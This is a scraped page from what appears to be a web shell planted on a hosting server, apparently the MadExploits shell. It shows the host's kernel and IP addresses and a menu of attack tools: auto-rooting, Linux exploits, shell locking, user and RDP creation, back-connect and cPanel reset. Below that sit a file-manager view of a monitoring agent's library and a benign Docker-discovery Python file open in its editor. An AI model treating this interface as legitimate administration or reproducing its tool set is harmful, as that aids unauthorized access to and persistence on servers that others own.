Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.149.237.231
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
fm-agent /
library /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
agent.py
96.8
KB
-rw-r--r--
agent_exceptions.py
110
B
-rw-r--r--
agent_util.py
8.58
KB
-rw-r--r--
aggregator.py
14.89
KB
-rw-r--r--
anomaly.py
2.19
KB
-rw-r--r--
blacklister.py
809
B
-rw-r--r--
container_discovery.py
3.3
KB
-rw-r--r--
display.py
2.06
KB
-rw-r--r--
forticlient_helper.py
2.59
KB
-rw-r--r--
inspector.py
15.7
KB
-rw-r--r--
iperf3.py
2.12
KB
-rw-r--r--
log_matcher.py
4.27
KB
-rw-r--r--
maintenance.py
3.61
KB
-rw-r--r--
pickle_database.py
1.28
KB
-rw-r--r--
plugin_driver.py
4.78
KB
-rw-r--r--
plugin_manager.py
11.04
KB
-rw-r--r--
process_manager.py
851
B
-rw-r--r--
progress_printer.py
837
B
-rw-r--r--
result_queue.py
1.99
KB
-rw-r--r--
schedule.py
3.19
KB
-rw-r--r--
threshold.py
1.5
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : container_discovery.py
import logging import os.path import sys from agent_util import UnixHTTPConnection, json_loads logger = logging.getLogger('Containers') def check_access(): if not os.path.exists('/var/run/docker.sock'): return 'no-docker' try: conn = UnixHTTPConnection('/var/run/docker.sock') conn.request('GET', '/containers/json', headers={'Host': 'localhost'}) conn.getresponse() except Exception: return 'no-permission' return 'success' def discover_docker_containers(config, plugins, existing_containers, rebuild=False): conn = UnixHTTPConnection('/var/run/docker.sock') conn.request('GET', '/containers/json?all=true', headers={'Host': 'localhost'}) r = conn.getresponse().read() j = json_loads(r) if not len(j): return [] app_mapping = {} if config.has_section('docker_image_mapping'): items = config.items('docker_image_mapping') for app, image in items: app_mapping.setdefault(image, []).append(app) containers = [] for container in j: short_id = container["Id"][:12] state = container["State"] existing_container = existing_containers.get(short_id) if not existing_container and state != "running": # Don't send stopped containers that we've never seen continue if existing_container and not rebuild: changed_state = existing_container["State"] != container["State"] existing_container.update(container) if changed_state: # Flag this container as updated existing_container["updated"] = True container = existing_container else: # Only fetch metadata for new containers container["container_platform"] = "docker" app_image = container["Image"] applications = [] if app_image in app_mapping: applications.extend(app_mapping[app_image]) container["applications"] = applications app_metadata = {} for app in ["docker"] + applications: try: plugin = plugins.plugins.get(app) if not plugin: logger.error("Unknown/unloaded docker plugin '%s'", app) continue metadata = plugin.get_metadata_docker(container, plugins.config.get(app, {})) or {} logger.info('Container %s: %d textkeys for %s', short_id, len(metadata.keys()), app) plugin_label = getattr(plugin, 'label', plugin.textkey) app_metadata[app] = (plugin_label, metadata) except Exception: t, e = sys.exc_info()[:2] logging.exception(e) continue container["app_metadata"] = app_metadata containers.append(container) return containers def find_docker_container(container_id): conn = UnixHTTPConnection('/var/run/docker.sock') conn.request('GET', '/containers/json?all=true', headers={'Host': 'localhost'}) r = conn.getresponse().read() container_list = json_loads(r) for container in container_list: short_id = container["Id"][:12] if short_id == container_id: return container return None
Close